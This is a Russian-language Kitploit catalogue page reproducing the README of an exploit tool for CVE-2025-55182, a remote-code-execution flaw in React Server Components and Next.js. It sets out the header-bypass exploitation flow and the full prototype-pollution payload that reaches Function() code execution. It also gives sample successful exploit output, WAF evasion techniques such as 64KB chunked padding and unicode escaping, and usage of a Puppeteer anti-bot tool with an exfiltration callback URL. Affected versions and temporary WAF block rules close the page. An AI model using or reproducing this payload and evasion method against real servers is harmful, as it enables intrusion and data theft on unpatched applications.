Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-55182-bypass — Обход заголовков для CVE-2025-55182 (RCE в React Server Components). | Kitploit
Инструменты/GitHubGitHub/ejpir/cve-2025-55182-bypass
Анализ уязвимостейЭксплуатацияОбход IDS/IPSЭксплуатация веб-приложенийОбход WAFТестирование на ПроникновениеRed TeamingРазработка Полезной Нагрузки
GitHubejpir/cve-2025-55182-bypass

CVE-2025-55182-bypass

Обход заголовков для CVE-2025-55182 (RCE в React Server Components).

Репозиторий
6339 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-55182 Обход заголовка

Обход заголовка Next-Action для CVE-2025-55182. Достигает React RSC RCE без характерных заголовков, обходя правила WAF.

Ключевое открытие

Заголовок Next-Action НЕ требуется для эксплуатации.

Вектор атакиЗаголовок Next-ActionОбнаружение WAF
Исходный CVEТребуетсяОбнаруживаемо
Этот обходНе требуетсяОбходит правила заголовков

Как это работает

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────────────┐
│                        ORIGINAL EXPLOIT (with header)                        │
├─────────────────────────────────────────────────────────────────────────────┤
│  POST / HTTP/1.1                                                            │
│  Next-Action: <action-id>  ← Header required                                │
│  Content-Type: multipart/form-data                                          │
│                                                                             │
│  isFetchAction = true → decodeReply() → Chunk.prototype.then() → RCE       │
└─────────────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────┐
│                        HEADER BYPASS (no header)                             │
├─────────────────────────────────────────────────────────────────────────────┤
│  POST / HTTP/1.1                                                            │
│  Content-Type: multipart/form-data  ← NO Next-Action header!                │
│                                                                             │
│  isMultipartAction = true → decodeAction() → loadServerReference()          │
│      → Promise.all([bound]) → bound.then() → RCE                            │
└─────────────────────────────────────────────────────────────────────────────┘

Коренная причина

root@kitploit:~
const isServerAction = isFetchAction || isURLEncodedAction || isMultipartAction;

if (isMultipartAction && !isFetchAction) {
    const action = await decodeAction(formData, serverModuleMap); // BYPASS PATH
    await action();  // RCE
}

Поток эксплуатации

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────────────┐
│  Step 1: Extract Action ID                                                   │
│  GET / → Extract from hidden inputs: <input name="$ACTION_ID_<40-hex>"/>    │
└─────────────────────────────────────────────────────────────────────────────┘
                                    │
                                    ▼
┌─────────────────────────────────────────────────────────────────────────────┐
│  Step 2: Send Exploit (NO Next-Action header)                                │
│  POST / HTTP/1.1                                                            │
│  Content-Type: multipart/form-data; boundary=x                              │
│                                                                             │
│  $ACTION_REF_0: x                                                           │
│  $ACTION_0:0: {"id":"<ACTION_ID>","bound":"$@1"}                            │
│  $ACTION_0:1: <exploit payload>                                             │
│  $ACTION_0:2: "$@1"                                                         │
│  $ACTION_0:3: []                                                            │
└─────────────────────────────────────────────────────────────────────────────┘
                                    │
                                    ▼
┌─────────────────────────────────────────────────────────────────────────────┐
│  Step 3: Thenable Chain Execution                                            │
│                                                                             │
│  bound: "$@1" → Chunk(1)                                                    │
│      → Promise.all([bound]) calls bound.then()                              │
│      → then: "$2:__proto__:then" → Chunk.prototype.then()                   │
│      → initializeModelChunk() → "$B1337" handler                            │
│      → _formData.get = "$2:constructor:constructor" → Function              │
│      → Function(RCE_CODE) → Code Execution                                  │
└─────────────────────────────────────────────────────────────────────────────┘

Пример вывода

root@kitploit:~
❯ node test-bypass-2step.cjs
============================================================
CVE-2025-55182 Header Bypass - 2-Step Exploit
============================================================
Target: http://localhost:3000/

[Step 1] Fetching page to extract action IDs...
 ✓ Compiled / in 1105ms (523 modules)
[+] Found 1 action ID(s):
    c1cfa77a4481950d44c534f3a8174689deaefe80

[Step 2] Sending exploit payload (NO Next-Action header)...

------------------------------------------------------------
REQUEST HEADERS:
------------------------------------------------------------
POST / HTTP/1.1
Host: localhost:3000
Content-Type: multipart/form-data; boundary=----FormBoundary1765143043445
(NO Next-Action header!)

------------------------------------------------------------
REQUEST BODY (multipart form):
------------------------------------------------------------
$ACTION_REF_0: x
$ACTION_0:0 (metadata): {"id":"c1cfa77a4481950d44c534f3a8174689deaefe80","bound":"$@1"}
$ACTION_0:1 (exploit):  {"then":"$2:__proto__:then","status":"resolved_model",...}
$ACTION_0:2 (circular): "$@1"
$ACTION_0:3 (empty):    []

============================================================
*** RCE SUCCESSFUL! ***
============================================================
Proof: 2-STEP RCE SUCCESS 1765143043451

Структура полезной нагрузки

root@kitploit:~
// $ACTION_0:0 - Action metadata
{"id": "<40-char-action-id>", "bound": "$@1"}

// $ACTION_0:1 - Exploit object
{
  "then": "$2:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "<RCE_CODE>//",
    "_chunks": "$Q3",
    "_formData": {"get": "$2:constructor:constructor"}
  }
}

// $ACTION_0:2 - Circular reference
"$@1"

// $ACTION_0:3 - Empty array for Map
[]

Методы обхода WAF

ТехникаМетодПроверено
Фрагментированное дополнениеДополнение 64KB+ исчерпывает буферы WAF✓ RCE
Unicode-экранирование\u0074\u0068\u0065\u006e для then✓
URL-кодированные имена%24ACTION_REF_0✓
Переменные индексы$ACTION_REF_abc, $ACTION_XyZ:0✓ RCE

Фрагментированная передача с дополнением

root@kitploit:~
POST / HTTP/1.1
Transfer-Encoding: chunked

10200                         ← 64KB padding
--x
Content-Disposition: form-data; name="data"
AAAA... (64KB)
--x
Content-Disposition: form-data; name="$ACTION_REF_0"
...
0

Затронутые версии

ПакетУязвимые версииИсправленные версии
react-server-dom-webpack19.0.0 - 19.2.019.0.1+, 19.1.2+, 19.2.1+
Next.js15.x, 16.x15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

Тестирование

root@kitploit:~
npm install
npm run build && npm run start

# Run exploit
node test-chunked-v14.cjs      # For AWS WAF testing
node test-bypass-2step.cjs     # 2-step automated

# Verify
cat /tmp/2STEP-RCE.txt

Обход антиботов (Puppeteer)

Для целей с JS-вызовами (Vercel, Cloudflare) используйте эксплойт на основе Puppeteer:

root@kitploit:~
node antibot.cjs [options]

Options:
  -t, --target <host>    Target hostname
  -p, --port <port>      Target port
  -c, --callback <url>   Callback URL for data exfil
  --http                 Use HTTP instead of HTTPS
  --https                Use HTTPS (default)
  -h, --help             Show help

Examples:
  node antibot.cjs -t example.vercel.app
  node antibot.cjs -t localhost -p 3000 --http
  node antibot.cjs -t target.com -c https://callback.example.com/exfil

Устранение

Патч — единственное надёжное исправление.

Временные правила WAF

  1. Блокировать префикс $ACTION_REF_ в теле (сначала URL-декодирование)
  2. Блокировать регулярное выражение $ACTION_[^:]+:
  3. Нормализовать Unicode перед сопоставлением
  4. Пропускать большие поля (>8КБ), продолжать разбор меньших

Авторство

  • Оригинальный CVE-2025-55182: Assetnote Research (react2shell.com)
  • Цепочка эксплуатации: maple3142
  • Обнаружение обхода заголовка: Независимое исследование

Ссылки

  • CVE-2025-55182
  • Next.js Security Advisory
  • AWS WAF Rule
Скачать инструмент